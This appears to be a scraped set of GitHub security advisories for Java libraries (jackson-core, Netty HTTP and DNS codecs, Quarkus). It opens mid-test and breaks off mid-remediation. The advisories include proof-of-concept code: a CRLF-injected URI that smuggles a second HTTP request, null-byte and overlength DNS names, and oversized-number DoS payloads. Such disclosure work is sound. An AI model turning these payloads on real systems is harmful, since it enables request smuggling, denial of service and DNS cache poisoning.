System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-04-07T16:30:17Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
GHSA-84H7-RJJ3-6JX4
Vulnerability from github – Published: 2025-12-15 23:28 – Updated: 2025-12-20 02:30Summary
The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Details
The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
PoC
Simple reproducer:
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Impact
Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.8.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.129.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67735"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-15T23:28:49Z",
"nvd_published_at": "2025-12-16T01:15:52Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.\n\n### Details\n\nThe `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`)\n\nThe default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.\n\n### PoC\n\nSimple reproducer:\n\n```java\npublic static void main(String[] args) {\n\n EmbeddedChannel client = new EmbeddedChannel();\n client.pipeline().addLast(new HttpClientCodec());\n\n EmbeddedChannel server = new EmbeddedChannel();\n server.pipeline().addLast(new HttpServerCodec());\n server.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n System.out.println(\"Processing msg \" + msg);\n }\n });\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1,\n HttpMethod.GET,\n \"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length: 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET /s1\"\n );\n client.writeAndFlush(request);\n ByteBuf tmp;\n while ((tmp = client.readOutbound()) != null) {\n server.writeInbound(tmp);\n }\n}\n```\n\n### Impact\n\nAny application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.",
"id": "GHSA-84h7-rjj3-6jx4",
"modified": "2025-12-20T02:30:14Z",
"published": "2025-12-15T23:28:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder"
}
GHSA-9623-MJ7J-P9V4
Vulnerability from github – Published: 2025-06-23 18:53 – Updated: 2025-12-22 18:38Impact
Vert.x 4.5.12 has changed the semantics of the duplication of duplicated context.
Duplicated context is an object used to propagate data through a processing (synchronous or asynchronous). Each "transaction" or "processing" runs on its own isolated duplicated context.
Initially, duplicating a duplicated context was creating a fresh (empty) new context, meaning that the new duplicated context can be used to managed a separated transaction.
In Vert.x 4.5.12, this semantics has changed, and since the content of the parent duplicated context is copied into the new one, potentially leaking data.
This CVE is especially for Quarkus as Quarkus extensively uses the Vert.x duplicated context to implement context propagation. With the new semantic data from one transaction can leak to the data from another transaction. From a Vert.x point of view, this new semantic clarifies the behavior.
A significant amount of data is stored in the duplicated context, including request scope, security details, and metadata. Duplicating a duplicated context is rather rare and is only done in a few places:
- Quarkus REST Client when using OTel (but it's the same transaction, so no leak)
- Quarkus Messaging connectors
- Quarkus SmallRye Health (same transaction, so no leak)
Patches
After discussion with the Vert.x team, the change will be rolled back in Vert.x 4.x. A new API will be added to Vert.x 5 do distinguish the 2 cases.
Workarounds
When duplicating a duplicated context, the following code can be done to avoid the potential leak:
((ContextInternal) VertxContext.getRootContext(ctx)).duplicate()
This workaround would not be required once the Vert.x version containing the fix will be included. Note that the workaround would still work.
References
This issue have been reported in https://github.com/quarkusio/quarkus/issues/48227.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.15.5"
},
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-vertx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.20.1"
},
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-vertx"
},
"ranges": [
{
"events": [
{
"introduced": "3.16.0.CR1"
},
{
"fixed": "3.20.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.24.0"
},
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-vertx"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0.CR1"
},
{
"fixed": "3.24.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-49574"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-23T18:53:22Z",
"nvd_published_at": "2025-06-23T20:15:28Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nVert.x 4.5.12 has changed the semantics of the duplication of duplicated context.\n\nDuplicated context is an object used to propagate data through a processing (synchronous or asynchronous). Each \"transaction\" or \"processing\" runs on its own isolated duplicated context.\n\nInitially, duplicating a duplicated context was creating a fresh (empty) new context, meaning that the new duplicated context can be used to managed a separated transaction.\n\nIn Vert.x 4.5.12, this semantics has changed, and since the content of the parent duplicated context is copied into the new one, potentially leaking data. \n\nThis CVE is especially for Quarkus as Quarkus extensively uses the Vert.x duplicated context to implement context propagation. With the new semantic data from one transaction can leak to the data from another transaction. From a Vert.x point of view, this new semantic clarifies the behavior. \n\nA significant amount of data is stored in the duplicated context, including request scope, security details, and metadata. Duplicating a duplicated context is rather rare and is only done in a few places:\n\n- Quarkus REST Client when using OTel (but it\u0027s the same transaction, so no leak)\n- Quarkus Messaging connectors\n- Quarkus SmallRye Health (same transaction, so no leak)\n\n\n\n### Patches\n\nAfter discussion with the Vert.x team, the change will be rolled back in Vert.x 4.x. A new API will be added to Vert.x 5 do distinguish the 2 cases.\n\n### Workarounds\n\nWhen duplicating a duplicated context, the following code can be done to avoid the potential leak:\n\n```java\n((ContextInternal) VertxContext.getRootContext(ctx)).duplicate()\n```\n\nThis workaround would not be required once the Vert.x version containing the fix will be included. Note that the workaround would still work. \n\n\n### References\n\nThis issue have been reported in https://github.com/quarkusio/quarkus/issues/48227.",
"id": "GHSA-9623-mj7j-p9v4",
"modified": "2025-12-22T18:38:56Z",
"published": "2025-06-23T18:53:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/security/advisories/GHSA-9623-mj7j-p9v4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49574"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/issues/48227"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/pull/48486"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/commit/2b58f59f4bf0bae7d35b1abb585b65f2a66787d1"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/commit/31e8a3bfcf4e223788615d5ce25eb929ca251275"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/commit/d1ee57e7b826872b6355cfec0ae13465840e232c"
},
{
"type": "PACKAGE",
"url": "https://github.com/quarkusio/quarkus"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/releases/tag/3.24.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Quarkus potentially leaks data when duplicating a duplicated context"
}
GHSA-CM33-6792-R9FM
Vulnerability from github – Published: 2026-05-07 00:12 – Updated: 2026-05-14 20:40Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-dns) |
| Component | io.netty.handler.codec.dns.DnsCodecUtil |
| Vulnerability Type | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |
| Impact | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |
2. Affected Components
Both the encoder and decoder in the same file are affected:
io.netty.handler.codec.dns.DnsCodecUtil—encodeDomainName()method (lines 31-51):- No null byte validation in domain name labels
- No per-label length validation (RFC 1035 max: 63 bytes)
- No total domain name length validation (RFC 1035 max: 255 bytes)
-
Empty labels silently truncate the domain name
-
io.netty.handler.codec.dns.DnsCodecUtil—decodeDomainName()method (lines 53-118): - No per-label length validation (max 63)
- No total domain name length validation (max 255)
- Unbounded StringBuilder growth from attacker-controlled DNS responses
3. Vulnerability Description
Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.
3.1 Encoder Side — Null Byte Injection (CWE-626)
A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:
- Java (full string): sees
"evil\0.example.com"as a single label containing a null - C/native DNS libraries: truncate at the null byte, seeing only
"evil" - DNS servers: may accept or reject based on implementation
This differential interpretation enables DNS cache poisoning and domain validation bypass.
3.2 Encoder Side — Overlength Label (RFC 1035 Violation)
Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:
- A 200-byte label length
0xC8would be interpreted as a compression pointer by standards-compliant DNS parsers - This creates parser confusion between label and pointer interpretation
3.3 Encoder Side — Silent Truncation via Empty Labels
encodeDomainName("a..b.com", buf);
// Encodes as: [01] 'a' [00]
// Only "a." is encoded, ".b.com" is silently dropped!
An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.
3.4 Decoder Side — Unbounded Memory Allocation
The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.
Root Cause — Encoder
// DnsCodecUtil.java:31-51
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
break; // NO ERROR - silently truncates!
}
// NO check: labelLen > 63
// NO check: label contains null bytes
// NO check: total name > 255 bytes
buf.writeByte(labelLen); // Can write values > 63!
ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!
}
buf.writeByte(0);
}
Root Cause — Decoder
// DnsCodecUtil.java:94-99 (decodeDomainName)
} else if (len != 0) {
if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63
throw new CorruptedFrameException("truncated label in a name");
}
name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');
// ^^^^^^ StringBuilder grows WITHOUT any length limit
in.skipBytes(len);
}
Missing checks in decoder:
- No if (len > 63) check per RFC 1035 Section 2.3.4
- No if (name.length() > 255) check for total domain name length
4. Exploitability Prerequisites
Encoder Side (outbound)
- An application constructs DNS queries using Netty's DNS codec with user-influenced domain names
- The constructed DNS packets are sent to DNS servers or resolvers
Decoder Side (inbound)
- An application uses Netty's
codec-dnsorresolver-dnsmodule to process DNS responses - The application communicates with a malicious or compromised DNS server
Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.
5. Attack Scenarios
Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)
String hostname = userInput; // "evil\0.trusted.com"
DnsQuery query = new DefaultDnsQuery(...)
.addRecord(DnsSection.QUESTION,
new DefaultDnsQuestion(hostname, DnsRecordType.A));
The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.
Scenario 2: Label/Pointer Confusion (Encoder)
A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:
Byte: [C8] [61 61 61 ... (200 bytes)]
↑
Label interpretation: 200-byte label starting with 'a'
Pointer interpretation: pointer to offset 0x0861 = 2145
Scenario 3: Memory Exhaustion via Large Labels (Decoder)
A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.
Scenario 4: Domain Truncation via Empty Label (Encoder)
encodeDomainName("safe-domain..evil.com", buf);
// Only "safe-domain." is encoded, "evil.com" silently dropped
This can bypass domain allowlists that check the input string.
Scenario 5: Downstream Processing Failures (Decoder)
Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.
6. Proof of Concept
PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsEncoderNullBytePoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method encode = clazz.getDeclaredMethod("encodeDomainName",
String.class, ByteBuf.class);
encode.setAccessible(true);
// Test 1: Null byte in domain name
ByteBuf buf = Unpooled.buffer(256);
encode.invoke(null, "evil\0.example.com", buf);
byte[] bytes = new byte[buf.readableBytes()];
buf.readBytes(bytes);
buf.release();
System.out.print("[TEST 1] Null byte - Encoded: ");
for (byte b : bytes) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");
// Test 2: 200-byte label
ByteBuf buf2 = Unpooled.buffer(512);
encode.invoke(null, "a".repeat(200) + ".com", buf2);
System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes");
System.out.println("VULNERABLE: Overlength label accepted!");
buf2.release();
// Test 3: Empty label truncation
ByteBuf buf3 = Unpooled.buffer(256);
encode.invoke(null, "a..b.com", buf3);
byte[] bytes3 = new byte[buf3.readableBytes()];
buf3.readBytes(bytes3);
buf3.release();
System.out.print("\n[TEST 3] Empty label - Encoded: ");
for (byte b : bytes3) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Domain silently truncated!");
}
}
PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsDecoderLengthPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class);
decode.setAccessible(true);
// Test 1: 100-byte label (RFC limit: 63)
ByteBuf buf1 = Unpooled.buffer(256);
buf1.writeByte(100);
buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(3);
buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(0);
String r1 = (String) decode.invoke(null, buf1);
buf1.release();
System.out.println("[TEST 1] 100-byte label: length=" + r1.length() +
" VULNERABLE=" + (r1.length() > 64));
// Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)
ByteBuf buf2 = Unpooled.buffer(512);
for (int i = 0; i < 5; i++) {
buf2.writeByte(60);
buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)
.getBytes(StandardCharsets.US_ASCII));
}
buf2.writeByte(0);
String r2 = (String) decode.invoke(null, buf2);
buf2.release();
System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() +
" VULNERABLE=" + (r2.length() > 255));
}
}
How to Compile and Run
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Encoder PoC
javac -cp "$JARS" DnsEncoderNullBytePoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC
# Decoder PoC
javac -cp "$JARS" DnsDecoderLengthPoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
Encoder PoC:
=== Netty DNS Encoder Validation Bypass PoC ===
[TEST 1] Null byte in domain name
Input: "evil\0.example.com"
Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00
Null byte in label data: true
VULNERABLE: YES - Null byte accepted!
[TEST 2] Label > 63 bytes in encoder
Input: "aaaaaa..." (200-char label)
Encoded bytes: 206
VULNERABLE: YES - Overlength label accepted in encoder!
[TEST 3] Empty labels (consecutive dots)
Input: "a..b.com"
Encoded bytes: 01 61 00
Note: Empty label truncates the name (may lose data)
Decoder PoC:
=== Netty DNS Decoder Length Bypass PoC ===
[TEST 1] Label > 63 bytes (RFC 1035 violation)
Label length: 100 bytes (RFC limit: 63)
Decoded name length: 105
VULNERABLE: YES - Label > 63 bytes accepted!
[TEST 2] Domain > 255 bytes via multiple labels
5 labels x 60 bytes = 300+ bytes total
RFC 1035 limit: 255 bytes
Decoded name length: 305
VULNERABLE: YES - Domain > 255 bytes accepted!
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Integrity | HIGH — Null byte injection causes differential interpretation across DNS implementations |
| Availability | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder |
| DNS Cache Poisoning | Different parsers see different domain names from the same encoded packet |
| Domain Validation Bypass | Null bytes can bypass allowlist/blocklist checks in DNS proxies |
| Label/Pointer Confusion | Length bytes > 63 conflict with RFC 1035 compression pointer encoding |
| Silent Truncation | Empty labels silently drop the remainder of the domain name |
| Downstream Failures | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |
8. Remediation Recommendations
Fix for Encoder (encodeDomainName)
static void encodeDomainName(String name, ByteBuf buf) {
